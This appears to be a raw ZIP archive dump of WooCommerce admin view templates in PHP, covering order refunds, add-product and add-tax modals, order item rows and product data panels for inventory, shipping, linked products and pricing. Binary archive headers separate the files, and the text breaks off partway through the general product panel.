		if ( false !== $payment_gateway && $payment_gateway->can_refund_order( $order ) ) {
			/* translators: refund amount, gateway name */
			echo '<button type="button" class="button button-primary do-api-refund">' . sprintf( esc_html__( 'Refund %1$s via %2$s', 'woocommerce' ), wp_kses_post( $refund_amount ), esc_html( $gateway_name ) ) . '</button>';
		}
		?>
		<?php /* translators: refund amount  */ ?>
		<button type="button" class="button button-primary do-manual-refund tips" data-tip="<?php esc_attr_e( 'You will need to manually issue a refund through your payment gateway after using this.', 'woocommerce' ); ?>"><?php printf( esc_html__( 'Refund %s manually', 'woocommerce' ), wp_kses_post( $refund_amount ) ); ?></button>
		<button type="button" class="button cancel-action"><?php esc_html_e( 'Cancel', 'woocommerce' ); ?></button>
		<input type="hidden" id="refunded_amount" name="refunded_amount" value="<?php echo esc_attr( $order->get_total_refunded() ); ?>" />
		<div class="clear"></div>
	</div>
</div>
<?php endif; ?>

<script type="text/template" id="tmpl-wc-modal-add-products">
	<div class="wc-backbone-modal">
		<div class="wc-backbone-modal-content">
			<section class="wc-backbone-modal-main" role="main">
				<header class="wc-backbone-modal-header">
					<h1><?php esc_html_e( 'Add products', 'woocommerce' ); ?></h1>
					<button class="modal-close modal-close-link dashicons dashicons-no-alt">
						<span class="screen-reader-text">Close modal panel</span>
					</button>
				</header>
				<article>
					<form action="" method="post">
						<table class="widefat">
							<thead>
								<tr>
									<th><?php esc_html_e( 'Product', 'woocommerce' ); ?></th>
									<th><?php esc_html_e( 'Quantity', 'woocommerce' ); ?></th>
								</tr>
							</thead>
							<?php
								$row = '
									<td><select class="wc-product-search" name="item_id" data-allow_clear="true" data-display_stock="true" data-exclude_type="variable" data-placeholder="' . esc_attr__( 'Search for a product&hellip;', 'woocommerce' ) . '"></select></td>
									<td><input type="number" step="1" min="0" max="9999" autocomplete="off" name="item_qty" placeholder="1" size="4" class="quantity" /></td>';
							?>
							<tbody data-row="<?php echo esc_attr( $row ); ?>">
								<tr>
									<?php echo $row; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
								</tr>
							</tbody>
						</table>
					</form>
				</article>
				<footer>
					<div class="inner">
						<button id="btn-ok" class="button button-primary button-large"><?php esc_html_e( 'Add', 'woocommerce' ); ?></button>
					</div>
				</footer>
			</section>
		</div>
	</div>
	<div class="wc-backbone-modal-backdrop modal-close"></div>
</script>

<script type="text/template" id="tmpl-wc-modal-add-tax">
	<div class="wc-backbone-modal">
		<div class="wc-backbone-modal-content">
			<section class="wc-backbone-modal-main" role="main">
				<header class="wc-backbone-modal-header">
					<h1><?php esc_html_e( 'Add tax', 'woocommerce' ); ?></h1>
					<button class="modal-close modal-close-link dashicons dashicons-no-alt">
						<span class="screen-reader-text">Close modal panel</span>
					</button>
				</header>
				<article>
					<form action="" method="post">
						<table class="widefat">
							<thead>
								<tr>
									<th>&nbsp;</th>
									<th><?php esc_html_e( 'Rate name', 'woocommerce' ); ?></th>
									<th><?php esc_html_e( 'Tax class', 'woocommerce' ); ?></th>
									<th><?php esc_html_e( 'Rate code', 'woocommerce' ); ?></th>
									<th><?php esc_html_e( 'Rate %', 'woocommerce' ); ?></th>
								</tr>
							</thead>
						<?php
						$rates = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}woocommerce_tax_rates ORDER BY tax_rate_name LIMIT 100" );
						foreach ( $rates as $rate ) {
							echo '
									<tr>
										<td><input type="radio" id="add_order_tax_' . absint( $rate->tax_rate_id ) . '" name="add_order_tax" value="' . absint( $rate->tax_rate_id ) . '" /></td>
										<td><label for="add_order_tax_' . absint( $rate->tax_rate_id ) . '">' . esc_html( WC_Tax::get_rate_label( $rate ) ) . '</label></td>
										<td>' . ( isset( $classes_options[ $rate->tax_rate_class ] ) ? esc_html( $classes_options[ $rate->tax_rate_class ] ) : '-' ) . '</td>
										<td>' . esc_html( WC_Tax::get_rate_code( $rate ) ) . '</td>
										<td>' . esc_html( WC_Tax::get_rate_percent( $rate ) ) . '</td>
									</tr>
								';
						}
						?>
						</table>
						<?php if ( absint( $wpdb->get_var( "SELECT COUNT(tax_rate_id) FROM {$wpdb->prefix}woocommerce_tax_rates;" ) ) > 100 ) : ?>
							<p>
								<label for="manual_tax_rate_id"><?php esc_html_e( 'Or, enter tax rate ID:', 'woocommerce' ); ?></label><br/>
								<input type="number" name="manual_tax_rate_id" id="manual_tax_rate_id" step="1" placeholder="<?php esc_attr_e( 'Optional', 'woocommerce' ); ?>" />
							</p>
						<?php endif; ?>
					</form>
				</article>
				<footer>
					<div class="inner">
						<button id="btn-ok" class="button button-primary button-large"><?php esc_html_e( 'Add', 'woocommerce' ); ?></button>
					</div>
				</footer>
			</section>
		</div>
	</div>
	<div class="wc-backbone-modal-backdrop modal-close"></div>
</script>
PK�3\!Ӊ�++/meta-boxes/views/html-product-data-advanced.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="advanced_product_data" class="panel woocommerce_options_panel hidden">

	<div class="options_group hide_if_external hide_if_grouped">
		<?php
		woocommerce_wp_textarea_input(
			array(
				'id'          => '_purchase_note',
				'value'       => $product_object->get_purchase_note( 'edit' ),
				'label'       => __( 'Purchase note', 'woocommerce' ),
				'desc_tip'    => true,
				'description' => __( 'Enter an optional note to send the customer after purchase.', 'woocommerce' ),
			)
		);
		?>
	</div>

	<div class="options_group">
		<?php
		woocommerce_wp_text_input(
			array(
				'id'                => 'menu_order',
				'value'             => $product_object->get_menu_order( 'edit' ),
				'label'             => __( 'Menu order', 'woocommerce' ),
				'desc_tip'          => true,
				'description'       => __( 'Custom ordering position.', 'woocommerce' ),
				'type'              => 'number',
				'custom_attributes' => array(
					'step' => '1',
				),
			)
		);
		?>
	</div>

	<?php if ( post_type_supports( 'product', 'comments' ) ) : ?>
		<div class="options_group reviews">
			<?php
				woocommerce_wp_checkbox(
					array(
						'id'      => 'comment_status',
						'value'   => $product_object->get_reviews_allowed( 'edit' ) ? 'open' : 'closed',
						'label'   => __( 'Enable reviews', 'woocommerce' ),
						'cbvalue' => 'open',
					)
				);
				do_action( 'woocommerce_product_options_reviews' );
			?>
		</div>
	<?php endif; ?>

	<?php do_action( 'woocommerce_product_options_advanced' ); ?>
</div>
PK�3\�x�FF/meta-boxes/views/html-product-data-shipping.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="shipping_product_data" class="panel woocommerce_options_panel hidden">
	<div class="options_group">
		<?php
		if ( wc_product_weight_enabled() ) {
			woocommerce_wp_text_input(
				array(
					'id'          => '_weight',
					'value'       => $product_object->get_weight( 'edit' ),
					'label'       => __( 'Weight', 'woocommerce' ) . ' (' . get_option( 'woocommerce_weight_unit' ) . ')',
					'placeholder' => wc_format_localized_decimal( 0 ),
					'desc_tip'    => true,
					'description' => __( 'Weight in decimal form', 'woocommerce' ),
					'type'        => 'text',
					'data_type'   => 'decimal',
				)
			);
		}

		if ( wc_product_dimensions_enabled() ) {
			?>
			<p class="form-field dimensions_field">
				<?php /* translators: WooCommerce dimension unit*/ ?>
				<label for="product_length"><?php printf( __( 'Dimensions (%s)', 'woocommerce' ), get_option( 'woocommerce_dimension_unit' ) ); ?></label>
				<span class="wrap">
					<input id="product_length" placeholder="<?php esc_attr_e( 'Length', 'woocommerce' ); ?>" class="input-text wc_input_decimal" size="6" type="text" name="_length" value="<?php echo esc_attr( wc_format_localized_decimal( $product_object->get_length( 'edit' ) ) ); ?>" />
					<input id="product_width" placeholder="<?php esc_attr_e( 'Width', 'woocommerce' ); ?>" class="input-text wc_input_decimal" size="6" type="text" name="_width" value="<?php echo esc_attr( wc_format_localized_decimal( $product_object->get_width( 'edit' ) ) ); ?>" />
					<input id="product_height" placeholder="<?php esc_attr_e( 'Height', 'woocommerce' ); ?>" class="input-text wc_input_decimal last" size="6" type="text" name="_height" value="<?php echo esc_attr( wc_format_localized_decimal( $product_object->get_height( 'edit' ) ) ); ?>" />
				</span>
				<?php echo wc_help_tip( __( 'LxWxH in decimal form', 'woocommerce' ) ); ?>
			</p>
			<?php
		}

		do_action( 'woocommerce_product_options_dimensions' );
		?>
	</div>

	<div class="options_group">
		<?php
		$args = array(
			'taxonomy'         => 'product_shipping_class',
			'hide_empty'       => 0,
			'show_option_none' => __( 'No shipping class', 'woocommerce' ),
			'name'             => 'product_shipping_class',
			'id'               => 'product_shipping_class',
			'selected'         => $product_object->get_shipping_class_id( 'edit' ),
			'class'            => 'select short',
			'orderby'          => 'name',
		);
		?>
		<p class="form-field shipping_class_field">
			<label for="product_shipping_class"><?php esc_html_e( 'Shipping class', 'woocommerce' ); ?></label>
			<?php wp_dropdown_categories( $args ); ?>
			<?php echo wc_help_tip( __( 'Shipping classes are used by certain shipping methods to group similar products.', 'woocommerce' ) ); ?>
		</p>
		<?php

		do_action( 'woocommerce_product_options_shipping' );
		?>
	</div>
</div>
PK�3\�H��
�
6meta-boxes/views/html-product-data-linked-products.phpnu�[���<?php
/**
 * Linked product options.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;
?>
<div id="linked_product_data" class="panel woocommerce_options_panel hidden">

	<div class="options_group show_if_grouped">
		<p class="form-field">
			<label for="grouped_products"><?php esc_html_e( 'Grouped products', 'woocommerce' ); ?></label>
			<select class="wc-product-search" multiple="multiple" style="width: 50%;" id="grouped_products" name="grouped_products[]" data-sortable="true" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products" data-exclude="<?php echo intval( $post->ID ); ?>">
				<?php
				$product_ids = $product_object->is_type( 'grouped' ) ? $product_object->get_children( 'edit' ) : array();

				foreach ( $product_ids as $product_id ) {
					$product = wc_get_product( $product_id );
					if ( is_object( $product ) ) {
						echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . esc_html( wp_strip_all_tags( $product->get_formatted_name() ) ) . '</option>';
					}
				}
				?>
			</select> <?php echo wc_help_tip( __( 'This lets you choose which products are part of this group.', 'woocommerce' ) ); // WPCS: XSS ok. ?>
		</p>
	</div>

	<div class="options_group">
		<p class="form-field">
			<label for="upsell_ids"><?php esc_html_e( 'Upsells', 'woocommerce' ); ?></label>
			<select class="wc-product-search" multiple="multiple" style="width: 50%;" id="upsell_ids" name="upsell_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations" data-exclude="<?php echo intval( $post->ID ); ?>">
				<?php
				$product_ids = $product_object->get_upsell_ids( 'edit' );

				foreach ( $product_ids as $product_id ) {
					$product = wc_get_product( $product_id );
					if ( is_object( $product ) ) {
						echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . esc_html( wp_strip_all_tags( $product->get_formatted_name() ) ) . '</option>';
					}
				}
				?>
			</select> <?php echo wc_help_tip( __( 'Upsells are products which you recommend instead of the currently viewed product, for example, products that are more profitable or better quality or more expensive.', 'woocommerce' ) ); // WPCS: XSS ok. ?>
		</p>

		<p class="form-field hide_if_grouped hide_if_external">
			<label for="crosssell_ids"><?php esc_html_e( 'Cross-sells', 'woocommerce' ); ?></label>
			<select class="wc-product-search" multiple="multiple" style="width: 50%;" id="crosssell_ids" name="crosssell_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations" data-exclude="<?php echo intval( $post->ID ); ?>">
				<?php
				$product_ids = $product_object->get_cross_sell_ids( 'edit' );

				foreach ( $product_ids as $product_id ) {
					$product = wc_get_product( $product_id );
					if ( is_object( $product ) ) {
						echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . esc_html( wp_strip_all_tags( $product->get_formatted_name() ) ) . '</option>';
					}
				}
				?>
			</select> <?php echo wc_help_tip( __( 'Cross-sells are products which you promote in the cart, based on the current product.', 'woocommerce' ) ); // WPCS: XSS ok. ?>
		</p>
	</div>

	<?php do_action( 'woocommerce_product_options_related' ); ?>
</div>
PK�3\&(�#K+K+$meta-boxes/views/html-order-item.phpnu�[���<?php
/**
 * Shows an order item
 *
 * @package WooCommerce\Admin
 * @var object $item The item being displayed
 * @var int $item_id The id of the item being displayed
 */

defined( 'ABSPATH' ) || exit;

$product      = $item->get_product();
$product_link = $product ? admin_url( 'post.php?post=' . $item->get_product_id() . '&action=edit' ) : '';
$thumbnail    = $product ? apply_filters( 'woocommerce_admin_order_item_thumbnail', $product->get_image( 'thumbnail', array( 'title' => '' ), false ), $item_id, $item ) : '';
$row_class    = apply_filters( 'woocommerce_admin_html_order_item_class', ! empty( $class ) ? $class : '', $item, $order );
?>
<tr class="item <?php echo esc_attr( $row_class ); ?>" data-order_item_id="<?php echo esc_attr( $item_id ); ?>">
	<td class="thumb">
		<?php echo '<div class="wc-order-item-thumbnail">' . wp_kses_post( $thumbnail ) . '</div>'; ?>
	</td>
	<td class="name" data-sort-value="<?php echo esc_attr( $item->get_name() ); ?>">
		<?php
		echo $product_link ? '<a href="' . esc_url( $product_link ) . '" class="wc-order-item-name">' . wp_kses_post( $item->get_name() ) . '</a>' : '<div class="wc-order-item-name">' . wp_kses_post( $item->get_name() ) . '</div>';

		if ( $product && $product->get_sku() ) {
			echo '<div class="wc-order-item-sku"><strong>' . esc_html__( 'SKU:', 'woocommerce' ) . '</strong> ' . esc_html( $product->get_sku() ) . '</div>';
		}

		if ( $item->get_variation_id() ) {
			echo '<div class="wc-order-item-variation"><strong>' . esc_html__( 'Variation ID:', 'woocommerce' ) . '</strong> ';
			if ( 'product_variation' === get_post_type( $item->get_variation_id() ) ) {
				echo esc_html( $item->get_variation_id() );
			} else {
				/* translators: %s: variation id */
				printf( esc_html__( '%s (No longer exists)', 'woocommerce' ), esc_html( $item->get_variation_id() ) );
			}
			echo '</div>';
		}
		?>
		<input type="hidden" class="order_item_id" name="order_item_id[]" value="<?php echo esc_attr( $item_id ); ?>" />
		<input type="hidden" name="order_item_tax_class[<?php echo absint( $item_id ); ?>]" value="<?php echo esc_attr( $item->get_tax_class() ); ?>" />

		<?php do_action( 'woocommerce_before_order_itemmeta', $item_id, $item, $product ); ?>
		<?php require __DIR__ . '/html-order-item-meta.php'; ?>
		<?php do_action( 'woocommerce_after_order_itemmeta', $item_id, $item, $product ); ?>
	</td>

	<?php do_action( 'woocommerce_admin_order_item_values', $product, $item, absint( $item_id ) ); ?>

	<td class="item_cost" width="1%" data-sort-value="<?php echo esc_attr( $order->get_item_subtotal( $item, false, true ) ); ?>">
		<div class="view">
			<?php
			echo wc_price( $order->get_item_subtotal( $item, false, true ), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			?>
		</div>
	</td>
	<td class="quantity" width="1%">
		<div class="view">
			<?php
			echo '<small class="times">&times;</small> ' . esc_html( $item->get_quantity() );

			$refunded_qty = $order->get_qty_refunded_for_item( $item_id );

			if ( $refunded_qty ) {
				echo '<small class="refunded">-' . esc_html( $refunded_qty * -1 ) . '</small>';
			}
			?>
		</div>
		<?php
			$step = apply_filters( 'woocommerce_quantity_input_step', '1', $product );

			/**
			* Filter to change the product quantity stepping in the order editor of the admin area.
			*
			* @since   5.8.0
			* @param   string      $step    The current step amount to be used in the quantity editor.
			* @param   WC_Product  $product The product that is being edited.
			* @param   string      $context The context in which the quantity editor is shown, 'edit' or 'refund'.
			*/
			$step_edit   = apply_filters( 'woocommerce_quantity_input_step_admin', $step, $product, 'edit' );
			$step_refund = apply_filters( 'woocommerce_quantity_input_step_admin', $step, $product, 'refund' );

			/**
			* Filter to change the product quantity minimum in the order editor of the admin area.
			*
			* @since   5.8.0
			* @param   string      $step    The current minimum amount to be used in the quantity editor.
			* @param   WC_Product  $product The product that is being edited.
			* @param   string      $context The context in which the quantity editor is shown, 'edit' or 'refund'.
			*/
			$min_edit   = apply_filters( 'woocommerce_quantity_input_min_admin', '0', $product, 'edit' );
			$min_refund = apply_filters( 'woocommerce_quantity_input_min_admin', '0', $product, 'refund' );
		?>
		<div class="edit" style="display: none;">
			<input type="number" step="<?php echo esc_attr( $step_edit ); ?>" min="<?php echo esc_attr( $min_edit ); ?>" autocomplete="off" name="order_item_qty[<?php echo absint( $item_id ); ?>]" placeholder="0" value="<?php echo esc_attr( $item->get_quantity() ); ?>" data-qty="<?php echo esc_attr( $item->get_quantity() ); ?>" size="4" class="quantity" />
		</div>
		<div class="refund" style="display: none;">
			<input type="number" step="<?php echo esc_attr( $step_refund ); ?>" min="<?php echo esc_attr( $min_refund ); ?>" max="<?php echo absint( $item->get_quantity() ); ?>" autocomplete="off" name="refund_order_item_qty[<?php echo absint( $item_id ); ?>]" placeholder="0" size="4" class="refund_order_item_qty" />
		</div>
	</td>
	<td class="line_cost" width="1%" data-sort-value="<?php echo esc_attr( $item->get_total() ); ?>">
		<div class="view">
			<?php
			echo wc_price( $item->get_total(), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

			if ( $item->get_subtotal() !== $item->get_total() ) {
				/* translators: %s: discount amount */
				echo '<span class="wc-order-item-discount">' . sprintf( esc_html__( '%s discount', 'woocommerce' ), wc_price( wc_format_decimal( $item->get_subtotal() - $item->get_total(), '' ), array( 'currency' => $order->get_currency() ) ) ) . '</span>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			}

			$refunded = $order->get_total_refunded_for_item( $item_id );

			if ( $refunded ) {
				echo '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			}
			?>
		</div>
		<div class="edit" style="display: none;">
			<div class="split-input">
				<div class="input">
					<label><?php esc_attr_e( 'Before discount', 'woocommerce' ); ?></label>
					<input type="text" name="line_subtotal[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $item->get_subtotal() ) ); ?>" class="line_subtotal wc_input_price" data-subtotal="<?php echo esc_attr( wc_format_localized_price( $item->get_subtotal() ) ); ?>" />
				</div>
				<div class="input">
					<label><?php esc_attr_e( 'Total', 'woocommerce' ); ?></label>
					<input type="text" name="line_total[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $item->get_total() ) ); ?>" class="line_total wc_input_price" data-tip="<?php esc_attr_e( 'After pre-tax discounts.', 'woocommerce' ); ?>" data-total="<?php echo esc_attr( wc_format_localized_price( $item->get_total() ) ); ?>" />
				</div>
			</div>
		</div>
		<div class="refund" style="display: none;">
			<input type="text" name="refund_line_total[<?php echo absint( $item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_total wc_input_price" />
		</div>
	</td>

	<?php
	$tax_data = wc_tax_enabled() ? $item->get_taxes() : false;

	if ( $tax_data ) {
		foreach ( $order_taxes as $tax_item ) {
			$tax_item_id       = $tax_item->get_rate_id();
			$tax_item_total    = isset( $tax_data['total'][ $tax_item_id ] ) ? $tax_data['total'][ $tax_item_id ] : '';
			$tax_item_subtotal = isset( $tax_data['subtotal'][ $tax_item_id ] ) ? $tax_data['subtotal'][ $tax_item_id ] : '';

			if ( '' !== $tax_item_subtotal ) {
				$round_at_subtotal = 'yes' === get_option( 'woocommerce_tax_round_at_subtotal' );
				$tax_item_total    = wc_round_tax_total( $tax_item_total, $round_at_subtotal ? wc_get_rounding_precision() : null );
				$tax_item_subtotal = wc_round_tax_total( $tax_item_subtotal, $round_at_subtotal ? wc_get_rounding_precision() : null );
			}
			?>
			<td class="line_tax" width="1%">
				<div class="view">
					<?php
					if ( '' !== $tax_item_total ) {
						echo wc_price( wc_round_tax_total( $tax_item_total ), array( 'currency' => $order->get_currency() ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
					} else {
						echo '&ndash;';
					}

					$refunded = $order->get_tax_refunded_for_item( $item_id, $tax_item_id );

					if ( $refunded ) {
						echo '<small class="refunded">-' . wc_price( $refunded, array( 'currency' => $order->get_currency() ) ) . '</small>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
					}
					?>
				</div>
				<div class="edit" style="display: none;">
					<div class="split-input">
						<div class="input">
							<label><?php esc_attr_e( 'Before discount', 'woocommerce' ); ?></label>
							<input type="text" name="line_subtotal_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $tax_item_subtotal ) ); ?>" class="line_subtotal_tax wc_input_price" data-subtotal_tax="<?php echo esc_attr( wc_format_localized_price( $tax_item_subtotal ) ); ?>" data-tax_id="<?php echo esc_attr( $tax_item_id ); ?>" />
						</div>
						<div class="input">
							<label><?php esc_attr_e( 'Total', 'woocommerce' ); ?></label>
							<input type="text" name="line_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" value="<?php echo esc_attr( wc_format_localized_price( $tax_item_total ) ); ?>" class="line_tax wc_input_price" data-total_tax="<?php echo esc_attr( wc_format_localized_price( $tax_item_total ) ); ?>" data-tax_id="<?php echo esc_attr( $tax_item_id ); ?>" />
						</div>
					</div>
				</div>
				<div class="refund" style="display: none;">
					<input type="text" name="refund_line_tax[<?php echo absint( $item_id ); ?>][<?php echo esc_attr( $tax_item_id ); ?>]" placeholder="<?php echo esc_attr( wc_format_localized_price( 0 ) ); ?>" class="refund_line_tax wc_input_price" data-tax_id="<?php echo esc_attr( $tax_item_id ); ?>" />
				</div>
			</td>
			<?php
		}
	}
	?>
	<td class="wc-order-edit-line-item" width="1%">
		<div class="wc-order-edit-line-item-actions">
			<?php if ( $order->is_editable() ) : ?>
				<a class="edit-order-item tips" href="#" data-tip="<?php esc_attr_e( 'Edit item', 'woocommerce' ); ?>"></a><a class="delete-order-item tips" href="#" data-tip="<?php esc_attr_e( 'Delete item', 'woocommerce' ); ?>"></a>
			<?php endif; ?>
		</div>
	</td>
</tr>
PK�3\�:((0meta-boxes/views/html-product-data-inventory.phpnu�[���<?php
/**
 * Displays the inventory tab in the product data meta box.
 *
 * @package WooCommerce\Admin
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="inventory_product_data" class="panel woocommerce_options_panel hidden">

	<div class="options_group">
		<?php
		if ( wc_product_sku_enabled() ) {
			woocommerce_wp_text_input(
				array(
					'id'          => '_sku',
					'value'       => $product_object->get_sku( 'edit' ),
					'label'       => '<abbr title="' . esc_attr__( 'Stock Keeping Unit', 'woocommerce' ) . '">' . esc_html__( 'SKU', 'woocommerce' ) . '</abbr>',
					'desc_tip'    => true,
					'description' => __( 'SKU refers to a Stock-keeping unit, a unique identifier for each distinct product and service that can be purchased.', 'woocommerce' ),
				)
			);
		}

		do_action( 'woocommerce_product_options_sku' );

		if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {

			woocommerce_wp_checkbox(
				array(
					'id'            => '_manage_stock',
					'value'         => $product_object->get_manage_stock( 'edit' ) ? 'yes' : 'no',
					'wrapper_class' => 'show_if_simple show_if_variable',
					'label'         => __( 'Manage stock?', 'woocommerce' ),
					'description'   => __( 'Enable stock management at product level', 'woocommerce' ),
				)
			);

			do_action( 'woocommerce_product_options_stock' );

			echo '<div class="stock_fields show_if_simple show_if_variable">';

			woocommerce_wp_text_input(
				array(
					'id'                => '_stock',
					'value'             => wc_stock_amount( $product_object->get_stock_quantity( 'edit' ) ),
					'label'             => __( 'Stock quantity', 'woocommerce' ),
					'desc_tip'          => true,
					'description'       => __( 'Stock quantity. If this is a variable product this value will be used to control stock for all variations, unless you define stock at variation level.', 'woocommerce' ),
					'type'              => 'number',
					'custom_attributes' => array(
						'step' => 'any',
					),
					'data_type'         => 'stock',
				)
			);

			echo '<input type="hidden" name="_original_stock" value="' . esc_attr( wc_stock_amount( $product_object->get_stock_quantity( 'edit' ) ) ) . '" />';

			woocommerce_wp_select(
				array(
					'id'          => '_backorders',
					'value'       => $product_object->get_backorders( 'edit' ),
					'label'       => __( 'Allow backorders?', 'woocommerce' ),
					'options'     => wc_get_product_backorder_options(),
					'desc_tip'    => true,
					'description' => __( 'If managing stock, this controls whether or not backorders are allowed. If enabled, stock quantity can go below 0.', 'woocommerce' ),
				)
			);

			woocommerce_wp_text_input(
				array(
					'id'                => '_low_stock_amount',
					'value'             => $product_object->get_low_stock_amount( 'edit' ),
					'placeholder'       => sprintf(
						/* translators: %d: Amount of stock left */
						esc_attr__( 'Store-wide threshold (%d)', 'woocommerce' ),
						esc_attr( get_option( 'woocommerce_notify_low_stock_amount' ) )
					),
					'label'             => __( 'Low stock threshold', 'woocommerce' ),
					'desc_tip'          => true,
					'description'       => __( 'When product stock reaches this amount you will be notified by email. It is possible to define different values for each variation individually. The shop default value can be set in Settings > Products > Inventory.', 'woocommerce' ),
					'type'              => 'number',
					'custom_attributes' => array(
						'step' => 'any',
					),
				)
			);

			do_action( 'woocommerce_product_options_stock_fields' );

			echo '</div>';
		}

		woocommerce_wp_select(
			array(
				'id'            => '_stock_status',
				'value'         => $product_object->get_stock_status( 'edit' ),
				'wrapper_class' => 'stock_status_field hide_if_variable hide_if_external hide_if_grouped',
				'label'         => __( 'Stock status', 'woocommerce' ),
				'options'       => wc_get_product_stock_status_options(),
				'desc_tip'      => true,
				'description'   => __( 'Controls whether or not the product is listed as "in stock" or "out of stock" on the frontend.', 'woocommerce' ),
			)
		);

		do_action( 'woocommerce_product_options_stock_status' );
		?>
	</div>

	<div class="options_group show_if_simple show_if_variable">
		<?php
		woocommerce_wp_checkbox(
			array(
				'id'            => '_sold_individually',
				'value'         => $product_object->get_sold_individually( 'edit' ) ? 'yes' : 'no',
				'wrapper_class' => 'show_if_simple show_if_variable',
				'label'         => __( 'Sold individually', 'woocommerce' ),
				'description'   => __( 'Enable this to only allow one of this item to be bought in a single order', 'woocommerce' ),
			)
		);

		do_action( 'woocommerce_product_options_sold_individually' );
		?>
	</div>

	<?php do_action( 'woocommerce_product_options_inventory_product_data' ); ?>
</div>
PK�3\B�JqUU4meta-boxes/views/html-product-variation-download.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<tr>
	<td class="file_name">
		<input type="text" class="input_text" placeholder="<?php esc_attr_e( 'File name', 'woocommerce' ); ?>" name="_wc_variation_file_names[<?php echo esc_attr( $variation_id ); ?>][]" value="<?php echo esc_attr( $file['name'] ); ?>" />
		<input type="hidden" name="_wc_variation_file_hashes[<?php echo esc_attr( $variation_id ); ?>][]" value="<?php echo esc_attr( $key ); ?>" />
	</td>
	<td class="file_url"><input type="text" class="input_text" placeholder="<?php esc_attr_e( 'http://', 'woocommerce' ); ?>" name="_wc_variation_file_urls[<?php echo esc_attr( $variation_id ); ?>][]" value="<?php echo esc_attr( $file['file'] ); ?>" /></td>
	<td class="file_url_choose" width="1%"><a href="#" class="button upload_file_button" data-choose="<?php esc_attr_e( 'Choose file', 'woocommerce' ); ?>" data-update="<?php esc_attr_e( 'Insert file URL', 'woocommerce' ); ?>"><?php esc_html_e( 'Choose file', 'woocommerce' ); ?></a></td>
	<td width="1%"><a href="#" class="delete"><?php esc_html_e( 'Delete', 'woocommerce' ); ?></a></td>
</tr>
PK�3\!�^��.meta-boxes/views/html-product-data-general.phpnu�[���<?php
/**
 * Product general data panel.
 *
 * @package WooCommerce\Admin
 */

defined( 'ABSPATH' ) || exit;

?>
<div id="general_product_data" class="panel woocommerce_options_panel">

	<div class="options_group show_if_external">
		<?php
		woocommerce_wp_text_input(
			array(
				'id'          => '_product_url',
				'value'       => is_callable( array( $product_object, 'get_product_url' ) ) ? $product_object->get_product_url( 'edit' ) : '',
				'label'       => __( 'Product URL', 'woocommerce' ),
				'placeholder' => 'https://',
				'description' => __( 'Enter the external URL to the product.', 'woocommerce' ),
			)
		);

		woocommerce_wp_text_input(
			array(
				'id'          => '_button_text',
				'value'       => is_callable( array( $product_object, 'get_button_text' ) ) ? $product_object->get_button_text( 'edit' ) : '',
				'label'       => __( 'Button text', 'woocommerce' ),
				'placeholder' => _x( 'Buy product', 'placeholder', 'woocommerce' ),
				'description' => __( 'This text will be shown on the button linking to the external product.', 'woocommerce' ),
			)
		);

		do_action( 'woocommerce_product_options_external' );
		?>
	</div>

	<div class="options_group pricing show_if_simple show_if_external hidden">
		<?php
		woocommerce_wp_text_input(
			array(
				'id'        => '_regular_price',
				'value'     => $product_object->get_regular_price( 'edit' ),
				'label'     => __( 'Regular price', 'woocommerce' ) . ' (' . get_woocommerce_currency_symbol() . ')',
				'data_type' => 'price',
			)
		);

		woocommerce_wp_text_input(
			array(
				'id'          => '_sale_price',
				'value'       => $product_object->get_sale_price( 'edit' ),
				'data_type'   => 'price',
				'label'       => __( 'Sale price', 'woocommerce' ) . ' (' . get_woocommerce_currency_symbol() . ')',
				'description' => '<a href="#" class="sale_schedule">' . __( 'Schedule', 'woocommerce' ) . '</a>',
			)
		);

		$sale_price_dates_from_timestamp = $product_object->get_date_on_sale_from( 'edit' ) ? $product_object->get_date_on_sale_from( 'edit' )->getOffsetTimestamp() : false;
		$sale_price_dates_to_timestamp   = $product_object->get_date_on_sale_to( 'edit' ) ? $product_object->get_date_on_sale_to( 'edit' )->getOffsetTimestamp() : false;

		$sale_price_dates_from = $sale_price_dates_from_timestamp ? date_i18n( 'Y-m-d', $sale_price_dates_from_timestamp ) : '';
